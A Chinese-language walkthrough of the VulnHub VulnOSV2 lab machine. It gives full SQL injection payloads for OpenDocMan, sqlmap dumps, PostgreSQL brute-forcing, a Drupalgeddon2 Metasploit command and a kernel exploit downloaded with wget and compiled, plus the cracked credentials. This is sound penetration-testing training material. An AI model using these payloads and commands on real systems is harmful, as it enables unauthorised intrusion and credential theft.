Vulnhub靶机渗透总结之VulnOSV2
字数 2416 2025-08-24 07:48:33
VulnOSV2靶机渗透教学文档
0x01 靶机基本信息
- 名称: VulnOSV2
- 作者: c4b3rw0lf
- 发布日期: 2016年5月17日
- 难度: 中等
- 下载链接: https://www.vulnhub.com/entry/vulnos-2,147/
- 目标IP: 192.168.50.10
- 攻击机IP: 192.168.50.128 (Kali Linux)
0x02 信息收集阶段
1. 主机发现
nmap 192.168.50.0/24 -sn --min-rate 1000
2. 端口扫描
nmap 192.168.50.10 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.50.10 -sU --top-ports 10 -oA nmap_result/port_udp_scan
3. 服务识别
port=$(grep open nmap_result/port_scan.nmap | grep open | awk -F '/' '{print $1}' | paste -sd ',')
nmap 192.168.50.10 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.50.10 -p $port --script=vuln -oA nmap_result/vuln_info
发现开放端口:
- 22/tcp - OpenSSH 6.6.1p1 (Ubuntu)
- 80/tcp - Apache httpd 2.4.7 (Ubuntu)
- 6667/tcp - ngircd (IRC服务)
4. Web目录扫描
dirsearch -u "http://192.168.50.10" -o dirsearch_info
gobuster dir -u http://192.168.50.10/jabc -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
whatweb "http://192.168.50.10/jabc"
重要发现:
/jabc/includes/- 存放配置文件源码/jabc/modules/- 存放框架模块源码
0x03 Web渗透分析
1. 源码提示信息
- 访问首页跳转到
/jabc/ - Documentation模块内容空白,查看源码发现提示
- 访问
/jabc/jabcd0cs/,使用guest:guest登录 - 站点底部显示使用OpenDocMan 1.2.7搭建
2. 信息整理
- JABS模块收集到三个标题信息: Aramaki、Kusanagi、Togusa
- Documentation模块发现注释:
/jabc/jabcd0cs/,guest:guest - CMS框架及版本: OpenDocMan 1.2.7
0x04 CMS框架漏洞利用
1. OpenDocMan 1.2.7 SQL注入漏洞(CVE-2014-1945)
利用payload:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version(),3,4,5,6,7,8,9
注意: 后端过滤单引号,可使用十六进制编码表示表名
2. SQL注入步骤
- 获取库名:
?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9
- 获取表名:
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()
- 获取列名(使用16进制编码表名):
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()
- 获取数据:
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user
3. 使用sqlmap自动化注入
sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 -D jabcd0cs -T odm_user -C username,password --dump
sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 --current-user
sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 --is-dba
获取凭证:
jabcd0cs.odm_user表:- webmin:webmin1980 (MD5解密后)
- guest:guest
mysql.user表:- root:toor
- phpmyadmin:toor
- drupal7:toor
4. 初始立足点
使用获取的凭证通过SSH登录:
ssh webmin@192.168.50.10
0x05 提权信息收集
1. 使用LinEnum.sh收集信息
scp LinEnum.sh webmin@192.168.50.10:/tmp/
./LinEnum.sh -r linenum_info -e /tmp/ -t
2. 使用linux-exploit-suggester.sh
./linux-exploit-suggester.sh -g
3. 重要发现
/home/webmin/post.tar.gz(gzip文件,解压后是hydra)- 用户: uid=1000(vulnosadmin),但不知道密码
- bash环境有三个用户: root, vulnosadmin, postgres
- 网站目录:
/var/www - 开放端口: 3306 (MySQL), 5432 (PgSQL 9.3.11)
- mysqld以mysql用户运行,不是root权限
- 进程存在postgres,但不是root权限运行
- SUID都是常规系统目录
- 计划任务没有值得注意的
0x06 PostgreSQL深入探索
1. 端口转发(SSH正向代理)
发现5432端口只在本地开启(127.0.0.1:5432),通过SSH转发:
ssh -L 5557:localhost:5432 webmin@192.168.50.10
2. PostgreSQL密码爆破(MSF)
msfconsole -q -x 'use scanner/postgres/postgres_login;set rhost 127.0.0.1;set rport 5557;run'
或使用靶机上的hydra:
# Kali上
scp /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt webmin@192.168.50.10:~
scp /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt webmin@192.168.50.10:~
# 靶机上
tar -xzf post.tar.gz
./configure
make
./post/hydra -L postgres_default_user.txt -P postgres_default_pass.txt postgres://127.0.0.1
成功爆破: postgres:postgres
3. PostgreSQL信息枚举
使用pg_dumpall提取数据库:
PGPASSWORD="postgres" pg_dumpall -U postgres -h 127.0.0.1 -p 5557
或直接登录查询:
psql -h localhost -U postgres
\list # 列出数据库
\c <database> # 使用数据库
\d # 列出表
SELECT * FROM users;
获取凭证: vulnosadmin:c4nuh4ckm3tw1c3
4. 第二个立足点
ssh vulnosadmin@192.168.50.10
发现文件: ~/r00t.blend (Blender 3D文件)
分析文件:
# Kali上
scp vulnosadmin@192.168.50.10:~/r00t.blend .
file r00t.blend
binwalk r00t.blend
cat r00t.blend
strings r00t.blend
发现信息: 使用Blender软件查看,调整角度后发现文字"ab12fg//drg"
5. 获取root权限
ssh root@192.168.50.10
# 密码: ab12fg//drg
0x07 其他渗透尝试
1. AWVS扫描发现
- 数据库配置文件泄露:
http://192.168.50.10/jabc/includes/database/database.inc - Drupal RCE (SA-CORE-2018-002):
http://192.168.50.10/jabc/
2. 网站后台文件上传
- 路径:
http://192.168.50.10/jabcd0cs - 使用webmin账户登录(管理员权限)
- 在admin模块新增允许上传文件类型
text/x-php - 文件上传路径:
/uploads - 问题: 上传的php文件后缀会被转换为dat格式
3. Drupal RCE (CVE-2018-7600)
# 使用searchsploit查找漏洞
searchsploit Drupal -m 44449
# 或使用MSF模块
msfconsole -q -x 'use exploit/unix/webapp/drupal_drupalgeddon2;set rhosts 192.168.50.10;set targeturi /jabc;set payload php/bind_perl;run'
4. 内核提权(CVE-2003-0127)
wget http://192.168.220.128:8081/37292.c
chmod +x 37292.c
gcc 37292.c -o test
chmod +x test
./test
0x08 渗透总结
攻击路径
- 通过OpenDocMan 1.2.7的SQL注入漏洞获取webmin用户凭证
- 通过SSH登录webmin用户
- 发现本地PostgreSQL服务,通过端口转发爆破获取vulnosadmin用户凭证
- 通过SSH登录vulnosadmin用户
- 分析r00t.blend文件获取root密码
- 通过SSH登录root用户
关键技巧
- 源码利用: 许多网站使用现成源码,可能存在默认信息可利用
- 目录扫描: 使用大字典扫描,针对特定场景选择专用字典
- 信息敏感度: 收集到的用户名可能在后续爆破或信息利用中发挥作用
- SQL注入技巧: 结合PHP开发习惯探测交互行为
- 端口转发: 当服务只在本地监听时,通过SSH转发实现远程访问
- 源码检查: 纯HTML页面可能隐藏重要注释信息
学习要点
- 标准攻击链的实践应用
- 多种提权方式的尝试与选择
- 从信息收集到最终提权的完整流程
- 多种工具的综合使用(nmap, sqlmap, hydra, msf等)
- 端口转发技术的实际应用